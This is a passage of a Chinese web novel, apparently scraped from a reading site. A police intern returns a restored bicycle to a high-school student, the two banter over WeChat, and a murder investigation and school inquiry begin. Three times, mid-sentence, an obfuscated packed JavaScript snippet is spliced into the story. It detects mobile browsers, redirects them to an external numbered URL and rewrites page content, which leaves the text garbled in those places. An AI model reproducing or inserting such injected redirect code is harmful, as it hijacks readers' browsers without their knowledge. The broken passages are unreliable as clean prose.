“怎么可能!”罗乐觉得这饭已经没法吃了,他沉默了一会,嘴硬地补道:“就觉得搁那儿,挺碍事的。” “碍事就继续联系失主呗,让他拿回去。”刘力站起身,端着空碗走向回收台,“你自己琢磨着办吧。” ——琢磨什么办?还能怎么办? 吃完中午饭,罗乐拉开工位后的储物柜,他蹲下身,手指在车架上蹭了一下。 小偷喷漆喷得敷衍,连表面打磨都没做,指腹划过时,能摸到粗糙的颗粒感…… 就格外得剌手、碍眼,还堵心! 罗乐站起身,盯着那辆丑车看了一会……行吧,换他也不想要。 他坐回工位,拿了一张报纸盖住脸,调整了个舒服的姿势,准备靠“非睡眠深度大法”让自己短暂死机。 可这方法今天失灵了。 那辆破车和中学生的嘴脸,轮流在脑海里跳帧播放,交替出镜,时不时还来一张高清特写。 罗乐一把扯开盖在脸上的报纸,坐直了身子,这事儿必须得尽快处理! * 第二天中午,汽修店。 江豪靠在工作台上,目光从罗乐手里的那桶漆,移到他脸上:“兄弟,你认真的吗?” 罗乐把漆桶往台面上一搁:“废话,不然我大中午的,这么远上你这儿遛弯?” 江豪开汽修店七八年,喷跑车、改摩托,修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939293|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮卡……但给自行车喷漆,还真是头一回。而这人还是他那号称「警界野狼」的小兄弟。 江豪默了两秒,看着那桶漆,语气复杂:“你非要喷自行车也就算了,法拉利红、迈凯伦橙,哥们儿都能给你整得倍儿漂亮。” “但你喷的这是啥玩意儿?绿皮火车色?几个意思?” “什么绿皮火车色!”罗乐一听就炸了,声音都抬高了几分:“这叫布伦瑞克绿!源自德国,懂不懂!” “还挺讲究,你女朋友的?” “我哪来的女朋友!”罗乐立刻反驳,“来报案的一个小孩儿,我把——他车搞坏了,这是赔他的。” 江豪的眼睛眯成一条缝,嘴角挂着若有似无的笑:“赔礼道歉?你这搞得怎么跟……追人似的。” “我能去追他?” 罗乐脸都烫了,像是听到了天大的荒唐事,他瞪大眼睛看着江豪:“喷个漆而已,能难死你?” "不是就不是呗,你这么激动干什么?"江豪摘下手套,拿起漆桶,歪头打量着上面的标签。 ——这不是激动,这是被「事精儿」折腾成了间歇性血压高…… 想到「事精儿」嚷嚷着“我不要了!我怎么骑啊!”的鬼样子,罗乐咬咬牙,从包里掏出个透明文件夹怼到了江豪眼前:“颜色、光泽、纹理,最好都一模一样。” “你怎么了?”江豪瞥了眼那沓自行车高清图,又看了看罗乐,像在确认他是不是中了邪。 “我怎么了?”罗乐被他看得心里发毛,抬手揉了把头发,背头瞬间散了架,有几缕软趴趴地垂下来,盖住他的眉角。 “上次那辆摩托车掉了半块漆,你随手抹了瓶黑鞋油就算了事,连我都忍不住替它流泪!” 江豪抖了抖手上的图纸,语调透着难以置信:“现在倒好,喷个自行车,你还拿个图纸?!” “我都多久不玩摩托了!”罗乐脸色一僵,嘴硬中带着怂,”哥,你就快点弄吧,就当我欠你个人情,成不?” “你先回去吧。”江豪斜靠在工作台上,“喷完还得彻底晾干,急也没用,过两天再来拿你的——” “艺术品吧……” “图纸我给你搁这儿,链接发你微信了,务必按照……”罗乐还想交代两句。 “行了行了,我懂!赶紧滚吧,别杵在这儿碍事。”江豪嫌弃地挥了挥手。 度过脚不沾地的两天,罗乐几乎没再想起那辆车。 周五下班去取车的路上,他甚至觉得这车扔在汽修店也不是不行,如果江豪不再刨根问底的话。 走进汽修店,罗乐一眼就看见了那辆车。他不自觉地走上前,刚伸出手想摸,又下意识蜷住。 “早干了。”江豪哂笑一声。 指腹轻轻划过车身,表面光滑细腻,没有一丝凹凸感。布伦瑞克绿的车身,配着咖啡色的轮胎圈,低调又复古,透着点老派的贵气。 他甚至能脑补出中学生骑车的样子。 好看…… 罗乐心头一顿,突然反应过来自己在想什么,脸色一变,随即重重地拍了下车座。 “走了,改天请你吃饭!” ——死小子再敢挑刺,他就直接把车拎到班主任办公室,要求“家长代领”! 江豪瞧着那步履生风的背影,没忍住笑出声:“确实不是去追人,这是要去抓人。” 5. 物归原主 放学时间,学生像潮水一样从校门里涌出来。 罗乐靠在栏杆上,单手插兜,面无表情地扫视人群。两分钟后,他得出一个结论——这学校的教导主任,大概率下岗了。 怎么有这么多早恋的? 左边这对,聊着聊着就开始亲昵推搡;右边那俩,书包上的情侣款挂饰,晃得人眼睛发痒;还有一行三人组,一眼就能看出「真情侣」做作的表演。 实在是没眼看…… 罗乐冷笑一声,低下头用脚尖拨弄起地上毛毛虫似的杨树花。他百无聊赖地蹭啊蹭,一直等到耐心就要见底,终于看到正主慢悠悠地从院子里走出来。 他站起身,弹了弹裤腿,冲着陶律夏喊了一声:“喂!” 边上的几个学生下意识地朝他看过来,唯独陶律夏像没听见似的,继续往前走。 “喂——”罗乐又叫了两声,眼看人就要转弯了,才别别扭扭地吼出了名字:陶!律!夏!” 陶律夏循声望去,那人站在栏杆边,身形松懒。如果撇开脸上流氓般的痞笑,客观说,其实可以归类为「英俊」。 “罗警官?” “叫你半天了,耳朵装饰用的。”罗乐单手插兜,扶着自行车。 陶律夏摊开手心,示意自己戴了耳机:“你找我有事吗?” 罗乐没回答,只是慢悠悠地抬起手,敲了敲车把,动作十分刻意,恨不得在每一个节拍里都写上「看这里」。 做作的表演成功奏效—— “这……”中学生指了指自行车,眼睛瞪得圆圆的,嘴唇微张,一脸难以置信。 这个反应让罗乐心里生出奇怪的满足感,这惊讶、呆萌,甚至有点被自己震撼到的小眼神,怎么看,怎么舒服,简直想拍下来,存进相册回味! “是你的那辆车,布伦瑞克绿——”罗乐漫不经心地补了一句。 陶律夏走近几步,从上到下仔细地打量了一番,才终于相信,这辆车又变回了Brunswick Green! “你这……这是……这是怎么弄得……” 连说话都磕巴了,罗乐差点想给自己鼓掌,但他强忍着,努力维持面上的「无所谓」:"托朋友搞的,随便喷了喷,活儿还行吧?" 活儿还行吗?陶律夏在心里问自己。 若真要挑毛病,大概也就是材质反光度稍微高了一点,看起来比原来的亮了那么一点,其他都一摸一样。 喷色伪装还能理解为偷车贼掩人耳目,但精心复原到接近原样,已经超出了他能理解的范畴。 “为什么?”陶律夏抬头看向罗乐。 为什么?你还问为什么?你折磨我的时候没想到这个结果吗?罗乐没好气道:“你不是让我随便处理吗?我想了想,还是「物归原主」比较好。 陶律夏飞速复盘几天前的那个电话,没错,自己犯了一个错误,他居然说出「随你便」…… 怎么会「随」出这种奇怪的结果? 变量脱离控制,轨迹无限偏移,大脑试图重新计算动机,系统日志却只返还了两个字:「未知」。 “为什么?”陶律夏又问了一遍。 罗乐被中学生这反应弄得有些烦…… 难不成是自己演得不够「随便」?还是哪里太走心,让这小孩误以为——他在认真地搞这辆车…… “什么为什么?”罗乐不耐烦地反问。 陶律夏抬起头,目光定定地看着他:“为什么你不顾麻烦,也要管别人的事?” “看不惯你浪费东西!”罗乐偏过头,说完还不忘嫌弃地啧了一声。 陶律夏有些哑然,没想到是这个理由…… 没想到自己的行为居然到了别人「看不下去」的程度,甚至不惜麻烦,也要纠正他的浪费。 罗乐看着中学生那副「思考宇宙奥秘」的表情,莫名有些焦躁,正想催他赶紧骑走,就见陶律夏掏出手机——“加个微信吧,我把喷漆的钱转给你。” 这剧情……竟还有意外收获?罗乐听罢慢吞吞地拿出手机,嘴里哼了一声:“行。” 两人站在夕阳里,低着头敲敲点点。 加完了微信,陶律夏接过自行车,嘴角牵起浅浅的弧度:“谢谢。” “这有什么。”罗乐笑着,目光不自觉地扫过男孩低垂的眼睫,没再呛声,还低声道谢? 这个突如其来的温顺让他有些无措,罗乐之前甚至想过,「事儿精」会要求提供改装细节和材料清单。 “你要不骑两圈试试?免得回头又说不行,再赖到我身上。”憋了半天,罗乐终于想到一句挑剔的话。 陶律夏看着他,没说话,只是忽然抬脚,向前靠近了一步。 一股混着柑橘味的清香钻进罗乐的鼻腔,他只感觉脑袋“嗡”的一下,整个世界一瞬间变得极其狭小。本能让他想后退一步,结果背后是栏杆,只能僵硬地站成一枚人形钉子。 “你……你干嘛?”罗乐嗓子发紧,差点把眼睛闭上。 陶律夏抬起手从他肩膀上拈了一点什么,然后,毫不留情地弹到了地上。 “……” 罗乐低头一看,是一条毛茸茸的杨树花…… 都快贴到老子身上了,故意玩呢!刚才那阵心率飙升简直是个笑话。他狠狠地拍了拍肩膀,像要把沾染上的什么邪气驱赶出去。 “你有洁癖?”罗乐愤愤道。 “不太顺眼。”陶律夏微微勾起嘴角,表情浑然天真,他顿了一下,又十分多余地补了半句:“不是说你……” 就知道刚刚乖巧温顺全是假象!罗乐别开视线,气急败坏地冲着空气摆摆手:“那个……推上你的车赶紧回家吧。” “嗯,再见。”陶律夏应了一声。 听见人转身走了,罗乐硬着脖子重新望了过去,路边不知是樱是桃的花树,全都开了,花瓣窸窸窣窣地飘在风里。 被那小鬼荼毒太深,竟觉得他的背影——好像在哪见过,彷佛是从记忆深处剥离出来的一瞬似的。 这该死的精神刻印…… 罗乐匆匆收回视线,走到路边抬手拦了辆车。晚上有草地音乐会现场,林岘已经打了六七个催命电话。 车载收音机里正在播报晚间新闻,罗乐靠在座椅上,掏出手机,点开了刚刚加上的「微信好友」。 头像是一颗足球? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939294|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗乐盯了两秒,忍不住冷哼一声:就他那身板也踢球?怕不是“实况足球”?再点进头像一看,连条朋友圈都没有。 他略显无趣地退出微信,把手机收回兜里,车窗外,行道树一棵棵掠过,树梢染着春意未满的嫩绿,在风中轻晃。 收音机里的新闻播完时,出租车刚好停在校门口。罗乐循着音乐声走到和园草地,弯着身子,一路低声道歉,在一串串白眼中挤到了林岘旁边。 “你干嘛去了?”林岘瞪了他一眼。 罗乐还没顾上编,就听见周围响起一片掌声,林岘往舞台上扫了一眼,立马忘了拷问。 “哎!乐乐!快看,警花啊!警花!” “在哪?”罗乐随口接道。 “姚栎菁你都不认识?穿香槟色裙子那个!” “香槟色是什么色?”罗乐往舞台上扫了一眼。 “你是不是色盲?”林岘痛心疾首,“左边第二个!” “看见没?” “看不清。” “扫身份证都没你这么冷淡。”林岘瞪了他一眼,刚好瞥见罗乐拿出手机。 好家伙,终于开窍了?知道拍照留念了? 结果下一秒,他眼睁睁看着这二百五划进了微信聊天界面。 ??? 林岘刚准备吐槽一句,突然瞄见罗乐脸上的微妙表情,一时间警花也不看了,他戳了戳罗乐的胳膊:“这谁啊?” “没谁……”罗乐火速收起手机。 此地无银三百两!林岘瞬间被激起了八卦的本能,眼睛都亮了:“谁啊,你有对象了?” “胡说什么!丢自行车那小孩儿。”。 林岘凑近了一点:“女孩怎么用这头像,喜欢足球?” “男孩子。” “男孩子??”林岘像被雷劈了一下,惊讶地睁大了眼,“日夜蹲贼、百米狂飙、废品站翻垃圾,你燃烧的好胜心,居然——为一男的?” “你乱嚎什么?”罗乐被他吼得耳朵疼,抬手就往他背上砸了一巴掌,“我为了工作!” “哎哟!”林岘夸张地叫了一声,半躺在草地上捂着肩膀,“下手这么狠,兄弟情没了!” “您老能不能积点德?说话正经点会死啊?”罗乐伸出手,林岘默契地拉住爬了起来,还不忘理了理衣领:“演技能打几分?” “零分。”罗乐扔出俩字。 “为工作你有必要盯着人头像看吗?你不会真的喜欢男孩子吧?你到底喜欢什么样的?”林岘被难得一见的场景刺激到,又开始穷追不舍。 罗乐被烦得不行,随口糊弄:“喜欢正常点的。” “什么才算正常,你这么多年就没碰上正常的?”林岘来了兴致。 舞台上的歌声在夜色中荡开,音浪在耳膜上轻轻震颤。碰到过吗? 罗乐鬼使神差地想起那中学生敲手机的样子,加个微信还那么专注,手指挺长,睫毛也很长…… 啧,怎么被林岘的胡言乱语整出画面了?他愣了一瞬,便速速将大脑宕机产生的错误缓存清了出去。 「事儿精」要是算正常,那这个世界上就没有正常的人了。 6. 给你补偿 大脑里的错误缓存,和林岘那句震耳欲聋的“你喜欢男孩子?”像回音一样在脑子里绕来绕去,搞得罗乐有点烦。 他躺在床上,掏出手机,点开微信聊天界面,略过陶律夏发起的一大笔转账,盯着他的头像看了好一会,心里莫名有点不爽——“都怪这破玩意儿。” ……但这到底是啥玩意儿? 他皱了皱眉,手指悬在输入框上悬了一下,终究还是敲了下去:【你喜欢足球?】 消息发出去后,罗乐盯着对话框,等了半天,对面一点动静都没有。 他看了看表,才十点。 高三生十点就睡觉?不该熬到凌晨两点刷卷子吗?家里有钱就能这么放纵自我? 一天天的,研究月球矿物、琢磨月球车喷涂材料,下一步是不是打算报考神州11号的副驾驶?你不得先考上大学? 罗乐翻身下床,拎着毛巾去洗了个澡。再出来时,手机终于震了一下。 三个字,冷淡得像系统弹窗:【陶律夏:不喜欢。】 【罗乐:那你干嘛用这什么足球当头像?】 这次回复倒是很快—— 【陶律夏:头像是C60,碳的同素异形体之一,正20面体结构,完美对称的球状分子,你可以叫它「足球烯」】 输入框里的光标缓慢闪烁,罗乐半天没敲字,他和这小鬼绝对不是一路人,社交本能告诉他该结束聊天。 但脑子里忽然生出一点奇怪的焦虑——如果他现在走人,岂不是会让这小孩觉得自己文化水平很低? 最终,他耐着性子问了句:【干嘛用这个?】 【陶律夏:结构高度稳定,能够抵抗辐射和极端温度,小行星撞地球,它都有较大概率存在。】 「稳定」这两个字让罗乐捕捉到一丝反击机会,是时候点亮他作为警校研究生的心理分析技能树了。 【罗乐:你潜意识里是不是有点缺安全感?】 【陶律夏:你的头像是橘子,是想表达你缺维生素C?】 小小年纪,这是有多欠收拾!?罗乐刚想教育回去,就看见屏幕上弹出一行灰色的小字——“对方撤回了一条消息。” 罗乐手指一顿,唇角没忍住翘了一下。 怂了?难得…… 【晚了,我已经看见了】他慢悠悠地敲了几个字发过去。 下一秒,陶律夏的回复几乎无延迟弹出—— 【抱歉,那句话含有攻击意图,因此我撤回了。】 ???罗乐盯着屏幕看了几秒,什么叫“那句话”?你平时嘴炮输出一套套的,怼我怼得还少?!攻击意图?你没撤回的那些难道叫礼貌输出? 紧跟着又是一条信息【陶律夏:你的头像很可爱。】 罗乐翻身爬起,靠在枕头上,点开自己的头像——一颗圆滚滚的橘子,上面是他用马克笔乱画的笑脸,眼睛不对称,嘴巴还咧得有点狰狞。 他翻转手机,左看看,右看看,又拉远了点,再缩放两次,试图从任何角度挖掘出一丝「可爱」的成分。 完全没有! 这要是都能叫「可爱」,那全网表情包都能加入卡哇伊合集!这中学生不是在哄人,就是虚伪的社交礼仪在作祟! 他愤愤地敲了行字【赶紧睡觉吧】,想了想又觉得太像关心人,又学样地撤回,改发了一条【赶紧写你的作业吧。】 罗乐翻身躺平,把手机扣在胸口,盯着天花板出神,这到底是个什么性格的小怪物? 社恐?不像,话不少,怼人不带喘的。 嘴贱?也不像,他还知道撤回消息,顺带道歉。 难道是……单纯不懂和人类沟通? 罗乐脑子里一片混乱,感觉快要绕进死胡同。当然,自己并不是为了研究他,只是本能的防御反应。 纯粹,不爽总被他拿捏!他按灭了灯,强迫自己闭眼睡觉。 一夜无梦。 再睁眼时,窗外的天色已泛起微光。他利索起床、穿衣、洗漱,照旧去晨跑,五公里打底。 又是新的一天了。 * 晚上八点多,派出所里亮着几盏灯…… 罗乐还在整理未归档的案件笔录和卷宗,实习期快结束了,趁着晚上清闲,他得把手头的东西理一理,好方便交接。 值班电话在寂静的工区响起,罗乐抬头看了一眼,刚好对上案件管理队长肖龙飞的目光。 “小罗,你和我去润和小区出趟警。” 刚进单元门,两个穿着超市制服的女店员就迎了上来,神色焦急。 “警察同志,是这样……我们超市同事,今天中午没来接班,晚上要盘货,店长让我们过来看情况。 敲半天门,也没人应,可手机就在里面响……” “感觉不太对劲,不会出什么事了吧?”另一个店员在旁边插话,声音透着忐忑。 “联系她家人了吗?”肖龙飞边走边问。 “她家里好像就她一个人,有个侄子在上高中,具体情况我们也不清楚。” 肖龙飞拍门,打电话,屋内毫无动静,他同罗乐说:"找人来开锁吧。" 罗乐在门口踩了几下,弯腰掀开脚垫,从下面撕下一把钥匙。 他缓缓插进锁孔,语气随意:“我妈以前也干这事,有时候还藏电表箱里。” 咔哒—— 门开的一瞬间,一股浓重的血腥味扑面而来,像是隔着门封存了许久,直到此刻才骤然泄了出来。 “那是……庄萍!”一名女员工失声叫了出来,声音发颤。 饭厅地板上,凝固的血渍蔓延至桌脚,一个女人仰面倒着,双眼微张,已经死了…… 分局的技侦和法医很快到场,狭窄的饭厅变得拥挤不堪,罗乐站在屋里,肩膀不断被人擦过。 他看了一会,觉得自己有点碍事,便退到了单元门口。 这是他第一次直面凶案现场。 本科和硕士六年时间,他学过刑侦相关的理论,分析过无数恶性案件,在实习时处理过盗窃和斗殴…… 但没有人教过他,该如何面对现实中遇到的第一具尸体。 血腥味比预想中更浓,像是渗进鼻腔、附着在喉咙里,挥之不去。他这才后知后觉地发现,自己攥紧的手心里竟渗出了一层薄汗。 罗乐在裤缝上抹了抹掌心的湿意,抬起头,瞧见远处走来一个男孩,身上的衣服有些眼熟——「事儿精」同款校服…… 男孩刚到单元门口,一个卷发大妈就迎了上去,声音慌乱:“庄泽,你姑出事了!警察还没走呢,赶紧给你妈打电话让她回来!” 罗乐往前走了一步,沉声问道:“庄萍是你姑姑?” 男孩点点头,他很瘦,校服的袖口空荡荡地盖着上臂,整个人透着一种与年龄不符的颓唐。 “警察……”罗乐顺势介绍,“你最后一次见她是什么时候?” 庄泽:“前天晚上。” 罗乐:“昨天呢?” “昨天没去她家。”庄泽停顿了一下,“我昨天很忙。” 罗乐:“忙什么?” 庄泽:“作业很多。” 罗乐:“你们平时不住在一起?” 庄泽:“我住在她家楼下。” “202号?”罗乐确认。 “嗯。” 几辆警车停在楼下,红蓝交替的警灯映在碎裂的地砖上,远处不时飘来几句邻居的私语——“听说没,2单元死人了!” 罗乐:“你在这里等一等。” “好。”庄泽往警戒线的方向看了看,他的手松散地垂在身侧,指尖藏在袖子里,看不清动作。 罗乐走远了些,拨下肖龙飞的电话:“肖队,庄萍的侄子回来了,这会儿就在楼下,他说前天晚上见到庄萍。” “让他先别走。”肖龙飞叮嘱罗乐。 罗乐挂了电话,走回到庄泽身边,说:“你不问问你姑姑怎么样了?” 庄泽的脚尖在地上轻轻蹭了一下,他与罗乐对视了一秒:“我听到了。” 罗乐:“你前天去她家干什么?” 庄泽微微吸了一口气:“吃饭。” 两只棕色的小鸟扑扇着翅膀从头顶掠过,发出一阵轻柔的啁啾声,庄泽听到声音,忽然仰起头,目光追上飞鸟的轨迹。 它们身形敏捷地交错飞行,一会分离,一会靠近。 罗乐注意到庄泽的眼神微微颤动了一下,不过那点微弱的情绪,只一眨眼,便和天际的两个小点一起消失不见,再看便又是那副无动于衷的模样了…… 还未及细想,就见单元楼里走出一个男人,看着三十岁出头,穿了件米色的防水夹克,袖口撸到手肘,手里拿着个笔记本,边走边翻着记录。 男人扫了一眼罗乐,随口问:“南山路派出所的?” “对,我叫罗乐。”罗乐直起身,走到庄泽身侧:“这是庄萍的亲属庄泽,他说前天晚上去过庄萍家。” 男人听完,随意“嗯”了一声,从兜里掏出警官证,在庄泽面前晃了一下:“刑警队的,小伙子这里有些吵,咱们上警车上聊聊,了解点情况。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939295|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 说完,男人偏头看向罗乐:“你明天来趟分局。” “帮个忙,跟你们肖队说过了。”他说着,撕下一张便利贴,拍在罗乐的胳膊上,拍完就走,姿势熟练得像交警队贴罚单的。 罗乐撕下来那张纸看了一眼,上面写着——李达坤。 天渐渐黑了,警戒线外面围观的人群逐渐散去。 罗乐回到屋洗了个澡,才感觉死亡现场带回的,铁锈味的压迫感轻了一些。他胡乱擦了擦头发,打开手机,翻到备忘录写下第二天的记事。 正准备睡觉时,消息提示音突兀地弹了出来——【陶律夏:转账又过期了,你怎么还不接收?】 看到「足球烯」的头像时,罗乐原本被案子压着的情绪,突然出现了一道奇妙的裂缝,像是高压状态下的硬钢板,被始料未及的外力凿出了一道口子。 罗乐笑了笑,在屏幕上敲了几个字——“我没说要收啊。” 【陶律夏:我听错了吗?你说的是‘行’。】 【罗乐:我是说加微信‘行’。】 【陶律夏:我发了第三遍,请收下好吗?】 【罗乐:托朋友弄的,没花钱。】 头发上的水珠顺着发梢滴在手机屏幕上,罗乐盯着微信界面上的[正在输入],等了一会儿,就看到对面来了一句—— 【陶律夏:如果你不肯收钱,我可以给你提供同等价值的补偿。】 【罗乐:你打算怎么补偿?】 【陶律夏:你可以告诉我你的需求。】 这是拿到了「好梦公司」的剧本吗?罗乐眉头一挑,忽然想逗逗他,看这个小鬼究竟能玩出什么花样。 【罗乐:那就送我上班能用的东西吧。】 【陶律夏:实用型警用装备?】 【罗乐(钓鱼成功!)嗯,你有没有建议?】 【陶律夏:航天级防爆护目镜,能抵御0.03秒内的冲击波,或者复合纤维战术手套,能在-50℃到1000℃的极端环境下保护手部。】 罗乐的嘴角开始抽搐,冲击波,1000℃,这小鬼是不想让他活啊…… 【陶律夏:不过这些是在网络上看到的,不确定是否好买,可能需要一些时间。】 还真在那儿认真考虑呢,罗乐按了按太阳穴,觉得自己的理智正在崩溃。 【罗乐:少年,你管这些东西叫实用?你想让我去极地抓狗熊?】 【陶律夏:极地没有狗熊,你想说的是北极熊吗?】 这一本正经的样子,都不太像故意整人了,像是个真活宝,罗乐讽刺道:【你不如送我一台便携式血压仪】 【陶律夏:是个主意,考虑到你已经有运动手表了,我可以送你一台医疗器械类的智能血压监测仪。】 罗乐把手贴在额头上,感觉血压已经高了,这个「事儿精」是想让他当场用上…… 【罗乐:好了,不要再提议东西了,nothing at all】 【陶律夏:你不想要东西,我也可以提供劳务补偿。不涉密的情况下,帮你整理案件信息、分析犯罪心理……】 【罗乐:停停停!还分析犯罪心理?你是准备把我当毛利小五郎吗?】 【陶律夏:或者你有什么想学的吗?如果刚好是我会的,我可以帮你补课。】 【罗乐:补什么?你当我每天上班不累啊?下了班还得听你讲‘氢键作用力’?】 …… 罗乐躺倒在枕头上,看着手机屏幕,便携式血压仪、防爆护目镜、极地北极熊……这小鬼怎么能一本正经地说出这么多离谱的话? 本来想逗逗他,结果反手就被拖进一场超纲对话。但也怪了,明明觉得被他逼得血压飙升,却还是不由自主地笑出了声。 胸口那点被案情压得喘不上气的沉闷,居然散了不少。 死亡现场的冲击和学术狂魔的洗礼,耗光了罗乐的精力,才10点多,眼皮就沉了,他懒懒地敲字:“先欠着吧,以后有事我再找你帮忙。” 【陶律夏:「以后」是个时间上的不确定变量,「有事」的定义过于宽泛,「帮忙」的价值难以量化,我觉得太模糊了。】 【罗乐:不想帮,可以直说!】 【陶律夏:不然按照社会传统,送你一面锦旗了,上面写什么好?】 罗乐翻了个身,把脸埋进枕头里,他不辩了,他躺平了,还是刘力看得清,他就是这小鬼的手下败将…… “你赢了,那就写帅裂苍穹吧。”发完这句,罗乐头一歪,沉沉地睡着了。 7. 校园调查 案发第二天上午—— 法医办公室的门开着,赵晓宁放下手里的东西,扫了一眼李达坤。 “你倒是挺准时。”她指了指桌上的文件,“刚整理好。” 李达坤把咖啡递给她,拿起尸检报告快速扫过关键信息: ——死亡时间:3月18日晚7点至次日凌晨1点 ——死因:多处腹腔刺伤导致的失血性休克 ——手法:右腹部背面刺入伤口深达8cm,中腹部正面刺入,创缘撕裂明显 ——凶器:单刃直刀,刃宽不超过2.5cm “这几刀有什么说头?”李达坤一边翻页,一边问。 赵晓宁端起咖啡,抿了一口:“背部那刀果断利落,正面两刀,创缘撕裂明显,边缘不规则,力道不太稳。” 李达坤眯了眯眼:“凶手慌了?” “犹豫、情绪波动、力气不足都有可能……”赵晓宁靠在椅背上,抬起头:“也可能——” “有两个人动过刀?”李达坤接道。 赵晓宁点点头:“具体的你们结合现场其他证据和凶手心理去分析呗,从伤口来看,凶手在正面刺杀时明显吃力。” “行,我知道了。” 李达坤合上报告,转身离开法医办公室。 走廊尽头的窗户半掩着,风一吹,发出“咔哒”的震响。李达坤下意识抬起头,逆光中,看见罗乐大步流星地迎面走来。 “你哪一届的?”李达坤随口一问。 “本科14届,侦查学。” 李达坤:“你们院长是谁?” 罗乐:“韩胤。” “韩胤?”李达坤挑了下眉,轻笑了一声,“老韩都当上院长了。” “嗯,你那会儿还是技侦的副主任。”罗乐不动声色。 李达坤脚步微顿,斜睨了他一眼,意味不明地问:“你调查我?” 罗乐一脸坦荡:“以前听过,昨天顺手看了下,这能算是侦查系工作往来的基本操作吗?” 李达坤没说话,片刻后轻勾唇角,语气平淡:“派你去趟实验中学。” 罗乐迈步跟上,若有所思地问:“查庄泽?” “不是查。”李达坤正色道,“和他的同学、老师聊聊,看看能不能有挖出点东西,心理状态、社交圈子,尤其是最近几周。” 说话间,两人已经走到走廊尽头,李达坤顺手把半开的窗户合上,转头看向罗乐:“涉及到学校,处理不好,舆论得炸锅,没有确凿证据前,我们不太好直接动作,你明白吗?” 罗乐朝窗外看了看,目光转向李达坤:“我去派出所辖区单位搞安全巡查,法制教育?” “聪明!”李达坤抬手打了个响指,“肖龙飞说你嘴皮子挺溜,跟高中生聊两句,应该不算难事吧?” 罗乐:“肖队真这么说?” “原话。”李达坤语气随意,“后半句是——能打。” 李达坤立定,拍了拍手里的文件夹安排道:“有情况随时联系,注意分寸。” “庄泽是嫌疑人吗?”罗乐问。 李达坤神色又正了几分:“从现场痕迹看,他是目前最符合作案条件的人。今天13点到16点之间,我们会盘问他,你趁这个时间去趟他们班里。” 中午14点,实验中学—— 操场边的洒水器“哧哧”地喷着水,细密的水雾在阳光下折射出一道七色虹影,轻盈地悬浮在空中。 罗乐怀里揣着一张临时办的访客证,脑子里还盘旋着李达坤临走前的叮嘱——“注意分寸。” 路过操场时,听见一片欢呼,他下意识循声望去。 一道人影跃起,指尖精准地扣住排球,球在半空划出一道漂亮的弧线,穿过明亮的日光,落向对面的人群。 等等……这背影,这动作,这头发长度,怎么有点眼熟?不会吧?不会这么巧吧! 罗乐下意识挺直了脊背,连嘴里的咖啡糖都懒得嚼了,视线紧紧锁定那个身影。 然后,那人侧过脸—— 不是「足球烯」…… 他立刻悻悻地收回目光,大步跨过一个井盖,惊得一旁的鸽子扑棱着翅膀乱飞一气。 铃声一落,学生们三三两两往外挤,有的冲厕所,有的刷手机。罗乐目光一扫,锁定了一个从男生堆里出来的高个子,一抬手拦住:“同学,借几分钟,聊两句。” “派出所的,了解点情况。”罗乐晃了晃手里的介绍信,努力凹出「邻居大哥」的亲切模样。 “什么事?”高个子迟疑了几秒。 “问点事儿……”罗乐神秘一笑,“你和庄泽熟吗?” “不太熟。” “他平时人怎么样?”罗乐顺势问。 高个子挠了挠头,一时没找到合适的形容词:“就……挺安静的?” “安静?多安静?”罗乐笑了笑。 “嗯……就是很少和人主动说话。”高个子回忆了一下。 “社恐?” “不是社恐吧……”高个子犹豫了下,“反正就是……谁都不太搭理。” 罗乐:“那他和谁关系近点?” “呃……”高个子想了想,“应该……没有吧?” “一个关系好的都没有?” 高个子想了半天:“他跟他同桌孙世杰好像还行吧,反正我见他们偶尔说话。” “唉,他来了。”高个子朝教室门口努了努嘴。 罗乐顺着看过去,迎面走来一个小个子男生,皮肤晒得有点麦色,整个人精气神挺足。 “你是庄泽的同桌?”罗乐迎上前,身后的高个子冲着孙世杰做了一个夸张的口型——“派出所的……” 孙世杰咧开嘴一笑,露出一口整齐的小白牙:“啊,对,我是他同桌,警察叔叔有什么事吗?” 叔叔? 罗乐的表情微微一僵,心里某根弦被精准踩断,他强撑出一个和善的微笑:"你们做同桌多久了?" “快两个月了吧。” 罗乐点点头:“关系怎么样?” “也就那样吧,他话特少,基本传资料、收作业时说两句,剩下时间……基本上就是我说啥,他偶尔能嗯一声,敷衍得很。” “捧哏那种?”罗乐笑笑。 “什么捧哏呀!我一个人说单口相声,他演默剧……”孙世杰哼了一声。 罗乐:“下课呢?他下课一般干啥?” “趴桌子上睡觉,要么就溜了。”孙世杰耸耸肩。 “溜去哪儿?”罗乐问。 孙世杰:“这我可不知道,反正不是买吃的,庄泽节俭得很。” “那他有什么兴趣爱好?” “没看出来……”孙世杰皱了皱眉,“好像对生物课挺上心的。” 